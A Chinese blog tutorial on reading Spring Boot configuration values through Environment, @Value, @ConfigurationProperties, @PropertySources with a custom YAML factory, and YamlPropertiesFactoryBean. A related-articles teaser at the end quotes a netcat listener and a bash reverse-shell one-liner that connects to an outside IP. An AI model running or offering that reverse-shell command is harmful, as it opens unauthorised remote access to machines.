当前位置: 首页 > news >正文

SpringBoot读取配置文件中的内容

文章目录

  • 1. 读取配置文件application.yml中内容的方法
    • 1.1 Environment
    • 1.2 @Value注解
    • 1.3 @ConfigurationProperties 注解
    • 1.4 @PropertySources 注解,获取自定义配置文件中的内容,yml文件需要自行实现适配器
    • 1.5 YamlPropertiesFactoryBean 加载 YAML 文件
    • 1.6 各种方式总结
  • 2. 自定义的配置文件,如果不使用配置类加载,即使放在resources目录下也是获取不到内容的
  • 3. 如果两个文件的key重复了,以默认配置文件application.yml中的内容为准

配置文件application.yml:

server:port: 8001
blog:user: name: xinliushijianhome: 徐州work: 上海marathonpb: 419

1. 读取配置文件application.yml中内容的方法

1.1 Environment

  • Environment 是 springboot 核心的环境配置接口,它提供了简单的方法来访问应用程序属性,包括系统属性、操作系统环境变量、命令行参数、和应用程序配置文件中定义的属性等等。

  • Springboot 程序启动加载流程里,会执行SpringApplication.run中的prepareEnvironment()方法进行配置的初始化

  • 使用 Environment 方式来获取配置属性值非常简单,只要注入Environment类调用其方法getProperty(属性key)即可

示例代码:

import lombok.extern.slf4j.Slf4j;
import org.junit.Test;import org.junit.runner.RunWith;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.core.env.Environment;
import org.springframework.test.context.junit4.SpringRunner;import javax.annotation.Resource;import static org.junit.jupiter.api.Assertions.assertEquals;@RunWith(SpringRunner.class)
@SpringBootTest(classes = XinJavaDemoApplication.class)
@Slf4j
public class EnvironmentTest {@Resourceprivate Environment env;@Testpublic void test1() {String port = env.getProperty("server.port");System.out.println("port: " + port);assertEquals(port, "8001");}@Testpublic void test2() {String home = env.getProperty("blog.user.home");System.out.println("blog.user.home: " + home);assertEquals(home, "徐州");}}

key不存在时,执行不会报错,value为null

在这里插入图片描述

1.2 @Value注解

  • @Value注解是Spring框架提供的用于注入配置属性值的注解,它可用于类的成员变量、方法参数和构造函数参数上,这个记住很重要!

  • 在应用程序启动时,使用 @Value 注解的 Bean 会被实例化。所有使用了 @Value 注解的 Bean 会被加入到 PropertySourcesPlaceholderConfigurer 的后置处理器集合中。

  • 当后置处理器开始执行时,它会读取 Bean 中所有 @Value 注解所标注的值,并通过反射将解析后的属性值赋值给标有 @Value 注解的成员变量、方法参数和构造函数参数。

  • 需要注意,在使用 @Value 注解时需要确保注入的属性值已经加载到 Spring 容器中,否则会导致注入失败。

  • 只有标注了@Component、@Service、@Controller、@Repository 或 @Configuration 等容器管理注解的类,由 Spring 管理的 bean 中使用 @Value注解才会生效。而对于普通的POJO类,则无法使用 @Value注解进行属性注入。

  • 如果我们想要获取 TestService 类中的某个变量的属性值,需要使用依赖注入的方式,而不能使用 new 的方式。通过依赖注入的方式创建 TestService 对象,Spring 会在创建对象时将对象所需的属性值注入到其中。

key不存在时,执行会报错:

在这里插入图片描述

key不存在时,给出默认值,执行不会报错,结果就是取默认值:

在这里插入图片描述

示例代码:

    @Value("${blog.user.homeeeee:徐州}")private String home;@Testpublic void testValue() {System.out.println("home: " + home);assertEquals("徐州", home);}

正常取值:

在这里插入图片描述

1.3 @ConfigurationProperties 注解

@ConfigurationProperties注解是 SpringBoot 提供的一种更加便捷来处理配置文件中的属性值的方式,可以通过自动绑定和类型转换等机制,将指定前缀的属性集合自动绑定到一个Bean对象上

加载原理:

  • 在 Springboot 启动流程加载配置的 prepareEnvironment() 方法中,有一个重要的步骤方法 bindToSpringApplication(environment),它的作用是将配置文件中的属性值绑定到被 @ConfigurationProperties 注解标记的 Bean对象中。但此时这些对象还没有被 Spring 容器管理,因此无法完成属性的自动注入。

  • 那么这些Bean对象又是什么时候被注册到 Spring 容器中的呢?

  • 这就涉及到了 ConfigurationPropertiesBindingPostProcessor 类,它是 Bean后置处理器,负责扫描容器中所有被 @ConfigurationProperties 注解所标记的 Bean对象。如果找到了,则会使用 Binder 组件将外部属性的值绑定到它们身上,从而实现自动注入。

创建配置类,prefix + 属性名 = 配置key

import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Configuration;@Data
@Configuration
@ConfigurationProperties(prefix = "blog.user")
public class BlogUser {private String name;private String home;private String work;private String marathon;private String nameeeee;
}

示例代码:

    @Resourceprivate BlogUser blogUser;@Testpublic void testConfig() {System.out.println("blogUser: " + JSONObject.toJSONString(blogUser));System.out.println("nameeeee: " + blogUser.getNameeeee());}

属性名在配置文件中不存在时,获取此属性值的时候,执行不会报错,结果为null

在这里插入图片描述

1.4 @PropertySources 注解,获取自定义配置文件中的内容,yml文件需要自行实现适配器

  • 除了系统默认的 application.yml 或者 application.properties 文件外,我们还可能需要使用自定义的配置文件来实现更加灵活和个性化的配置。与默认的配置文件不同的是,自定义的配置文件无法被应用自动加载,需要我们手动指定加载。

  • @PropertySources 注解的实现原理相对简单,应用程序启动时扫描所有被该注解标注的类,获取到注解中指定自定义配置文件的路径,将指定路径下的配置文件内容加载到 Environment 中,这样可以通过 @Value 注解或 Environment.getProperty() 方法来获取其中定义的属性值了。

  • 当加载.yaml文件时,启动项目居然报错了,经过一番摸索我发现,@PropertySources 注解只内置了PropertySourceFactory适配器。也就是说它只能加载.properties文件。

  • 如果想要加载一个.yaml类型文件,则需要自行实现yaml的适配器 YamlPropertySourceFactory

  • 而在加载配置时要显示的指定使用 YamlPropertySourceFactory适配器,这样就完成了@PropertySource注解加载 yaml 文件。

支持.properties文件,若是.yml文件则自行实现yaml的适配器,否则识别不了,@Value注解中没给默认值启动时就会报错

增加自定义配置文件

xinliushijian.properties:

blog.user.name=心流时间
blog.user.home=徐州
blog.user.work=上海
blog.user.marathon: 419

xinliu.yml:

new:year: 2024month: 01day: 04

其中用到的@Value注解,在key不存在时报错(启动时)

在这里插入图片描述

在@Value注解中加上默认值,执行就不报错了

在这里插入图片描述

不通过bean,通过new 构造器的方法得到对象获得属性值,执行不报错,结果为null

在这里插入图片描述

xinliu.yml文件中的内容识别不到,启动时就会报错,需要自行实现yaml的适配器

在这里插入图片描述

配置类示例代码

import lombok.Data;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.PropertySources;
import org.springframework.beans.factory.annotation.Value;@Data
@Configuration
@PropertySources({@PropertySource(value = "classpath:xinliushijian.properties",encoding = "utf-8"),@PropertySource(value = "classpath:xinliu.yml",encoding = "utf-8",factory = YamlPropertySourceFactory.class)
})
public class PropertySourcesConf {@Value("${blog.user.home:xuzhou}")private String home;@Value("${blog.user.nameeee:xinliushijian}")private String name;@Value("${new.year:2023}")private String year;}

yaml适配器示例代码:

import org.springframework.beans.factory.config.YamlPropertiesFactoryBean;
import org.springframework.core.env.PropertiesPropertySource;
import org.springframework.core.env.PropertySource;
import org.springframework.core.io.support.EncodedResource;
import org.springframework.core.io.support.PropertySourceFactory;import java.io.IOException;
import java.util.Properties;public class YamlPropertySourceFactory implements PropertySourceFactory {@Overridepublic PropertySource<?> createPropertySource(String name, EncodedResource encodedResource) throws IOException {YamlPropertiesFactoryBean factory = new YamlPropertiesFactoryBean();factory.setResources(encodedResource.getResource());Properties properties = factory.getObject();return new PropertiesPropertySource(encodedResource.getResource().getFilename(), properties);}
}

测试类示例代码:

	@Autowiredprivate PropertySourcesConf propertySourcesConf;@Testpublic void testProp() {System.out.println("propertySourcesConf: " + JSONObject.toJSONString(propertySourcesConf));System.out.println("nameeeee: " + propertySourcesConf.getName());System.out.println("year: " + propertySourcesConf.getYear());}

1.5 YamlPropertiesFactoryBean 加载 YAML 文件

我们可以使用 YamlPropertiesFactoryBean 类将 YAML 配置文件中的属性值注入到 Bean 中。

配置类

import org.springframework.beans.factory.config.YamlPropertiesFactoryBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
import org.springframework.core.io.ClassPathResource;import java.util.Objects;@Configuration
public class MyYamlConfig {@Beanpublic static PropertySourcesPlaceholderConfigurer yamlConfigurer() {PropertySourcesPlaceholderConfigurer configurer = new PropertySourcesPlaceholderConfigurer();YamlPropertiesFactoryBean yaml = new YamlPropertiesFactoryBean();yaml.setResources(new ClassPathResource("xinliu.yml"));configurer.setProperties(Objects.requireNonNull(yaml.getObject()));return configurer;}
}

可以通过 @Value 注解或 Environment.getProperty() 方法来获取其中定义的属性值。

在这里插入图片描述

1.6 各种方式总结

  • 我们可以通过 @Value 注解、Environment 类、@ConfigurationProperties 注解、@PropertySource 注解等方式来获取配置信息。

  • 其中,@Value 注解适用于单个值的注入,而其他几种方式适用于批量配置的注入。不同的方式在效率、灵活性、易用性等方面存在差异,在选择配置获取方式时,还需要考虑个人编程习惯和业务需求。

  • 如果重视代码的可读性和可维护性,则可以选择使用 @ConfigurationProperties 注解;如果更注重运行效率,则可以选择使用 Environment 类。总之,不同的场景需要选择不同的方式,以达到最优的效果。

2. 自定义的配置文件,如果不使用配置类加载,即使放在resources目录下也是获取不到内容的

自定义文件:xinliushijianhaha.yml

newnew:year: 2024month: 01day: 04

测试结果:
在这里插入图片描述

3. 如果两个文件的key重复了,以默认配置文件application.yml中的内容为准

application.yml中的配置:

在这里插入图片描述

自定义配置文件(有用配置类自动加载)xinliu.yml:

在这里插入图片描述

测试结果:

在这里插入图片描述

结果分析:

  • application.yml这种默认的配置文件中的key和自定义配置文件中的key相等时,以application.yml中的内容为准
  • 当配置内容是数字时,前面的0会消失(value是04,得到的结果是4,自动减去了0)

引用

相关文章:

SpringBoot读取配置文件中的内容

文章目录 1. 读取配置文件application.yml中内容的方法1.1 Environment1.2 Value注解1.3 ConfigurationProperties 注解1.4 PropertySources 注解&#xff0c;获取自定义配置文件中的内容&#xff0c;yml文件需要自行实现适配器1.5 YamlPropertiesFactoryBean 加载 YAML 文件1.…...

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…...

三、电脑软件路径移动方式

一、电脑文件移动 当我们想整理硬盘或者移动软件时&#xff0c;常常会遇到多种多样的问题&#xff0c;下面就来说明一下我遇到的问题 1.桌面 解释&#xff1a;移动路径会导致桌面快捷方式失效&#xff0c;下面以图片解答如何恢复 原理&#xff1a;桌面快捷方式保存在C:\Users…...

基于JAVA+ssm智能旅游线路规划系统设计与实现【附源码】

基于JAVAssm智能旅游线路规划系统设计与实现【附源码】 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql…...

在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型

在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型 0. 背景1. 安装依赖2. 开发 main.py3. 运行 main.py 0. 背景 看了一些文章之后&#xff0c;今天尝试在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型。 1. 安装依赖 pip install torch torchvision …...

C# 图解教程 第5版 —— 第24章 预处理指令

文章目录 24.1 什么是预处理指令24.2 基本规则24.3 符号指令&#xff08;#define、#undef &#xff09;24.4 条件编译&#xff08;#if、#else、#elif、#endif&#xff09;24.5 条件编译结构24.6 诊断指令&#xff08;#warning、#error&#xff09;24.7 行号指令&#xff08;#li…...

电商几乎每一次的调整,几乎都围绕着AI展开

在那个马云依然还掌舵着阿里这艘大船的年月里&#xff0c;因其天马行空的想法&#xff0c;在很多时候总是被冠以「外星人」的名头。 站在今天来看&#xff0c;所谓的「外星人」&#xff0c;或许更多地和当下风靡的「AI」有很多相似之处吧。 他&#xff0c;能洞察商业的内在规…...

[Linux 进程(三)] 进程优先级,进程间切换,main函数参数,环境变量

文章目录 1、进程优先级1.1 Linux下查看进程优先级1.2 Linux 进程优先级的修改PRI and NItop命令配合操作更改优先级 1.3 竞争 独立 并行 并发 2、进程间切换3、Linux2.6内核进程调度队列3.1 活跃进程3.2 过期进程 4 main函数参数 — 命令行参数4.1 利用main函数的参数实现一个…...

【Java 设计模式】设计原则之单一职责原则

文章目录 1. 定义2. 好处3. 应用4. 示例结语 在软件开发中&#xff0c;设计原则是创建灵活、可维护和可扩展软件的基础。 这些原则为我们提供了指导方针&#xff0c;帮助我们构建高质量、易理解的代码。 ✨单一职责原则&#xff08;SRP&#xff09; ✨开放/封闭原则&#xff08…...

实现导航栏吸顶操作

一、使用VueUse插件 // 安装 npm i vueuse/core二、点击搜索useScroll 2.1搜索结果如图 三、使用 // 这是示例代码 import { useScroll } from vueuse/core const el ref<HTMLElement | null>(null) const { x, y, isScrolling, arrivedState, directions } useSc…...

Docker简述与基础部署详解

目录 docker概述 docker的核心思想 docker三大组件 docker优势 容器和虚拟机之间的区别 容器在内核中支持的重要技术 命名空间&#xff08;Namespaces&#xff09; 控制组&#xff08;Control Groups&#xff0c;cgroups&#xff09; 写时复制技术&#xff08;Copy-on…...

(南京观海微电子)——色温介绍

色温是表示光线中包含颜色成分的一个计量单位。从理论上说&#xff0c;黑体温度指绝对黑体从绝对零度&#xff08;&#xff0d;273℃&#xff09;开始加温后所呈现的颜色。黑体在受热后&#xff0c;逐渐由黑变红&#xff0c;转黄&#xff0c;发白&#xff0c;最后发出蓝色光。当…...

入门Linux简单操作

基本命令 scp ✓ scp -r 文件 127.0.0.1&#xff1a;/root/文件 (source->>>>destination) mv cp ✓ cp xxxx ./xxxx date ✓ 修改时间 date -s “yyyy-MM-dd 12:12:59” find ✓ find /home/user -name “*.txt” grep ✓ 管道 软连接 多用户 免密设置 脚…...

操作系统复习 一、二章

操作系统复习 一、二章 文章目录 操作系统复习 一、二章第一章 计算机系统概述处理器中各寄存器的作用指令的执行过程中断存储器层次结构和CacheI/O 通信技术 第二章 操作系统概述大内核微内核大内核微内核 操作系统的定义、目标和功能定义目标和功能 操作系统的发展过程现代操…...

【国内访问github不稳定】可以尝试fastgithub解决这个问题

1、下载 https://github.com/dotnetcore/FastGithub https://github.com/dotnetcore/FastGithub/releases 官网下载即可&#xff0c;比如&#xff0c;我用的是这个&#xff1a;fastgithub_osx-x64.zip&#xff08;点这里下载&#xff09; 2、安装 如下图双击启动即可 3、…...

android:clickable=“false“无效,依然能被点击

android:clickable“false”依然能被点击&#xff0c;该属性意义何在&#xff1f; 在Android中&#xff0c;android:clickable 属性用于指定一个视图&#xff08;View&#xff09;是否可以被点击。当你设置 android:clickable"true" 时&#xff0c;表示该视图可以接…...

Springboot WebFlux项目结合mongodb进行crud

第一步&#xff1a;创建项目 第二步&#xff1a;给mongodb插入数据 第三步&#xff1a;创建实体类 package org.cyl.test02.entity;// Task.java import lombok.Data;Data public class Task {private String id;private String description; }第四步&#xff1a;创建Reposito…...

超维空间M1无人机使用说明书——61、ROS无人机物体识别与精准投放

引言&#xff1a;基于空中物流的项目背景。我们提供了使用基于诗句的物体识别和精准投放、降落。实现原理如下&#xff1a; 1、在ROS下使用机载电脑实现物体识别 2、记载电脑根据反馈的位置发布运动控制指令 3、PX4解析机载电脑发布的命令&#xff0c;作出运动控制 4、设置…...

Flask 小程序菜品搜索

mina/pages/food/index.wxml <!--index.wxml--> <!--1px 750/320 2.34rpx;--> <view class"container"><!--轮播图--><view class"swiper-container"><swiper class"swiper_box" autoplay"{{autoplay}…...

Excel·VBA按指定顺序排序函数

与之前写过的《ExcelVBA数组冒泡排序函数》不同&#xff0c;不是按照数值大小的升序/降序对数组进行排序&#xff0c;而是按照指定数组的顺序&#xff0c;对另一个数组进行排序 以下代码调用了《ExcelVBA数组冒泡排序函数》bubble_sort_arr函数&#xff08;如需使用代码需复制…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

Python实现prophet 理论及参数优化

文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候&#xff0c;写过一篇简单实现&#xff0c;后期随着对该模型的深入研究&#xff0c;本次记录涉及到prophet 的公式以及参数调优&#xff0c;从公式可以更直观…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

04-初识css

一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...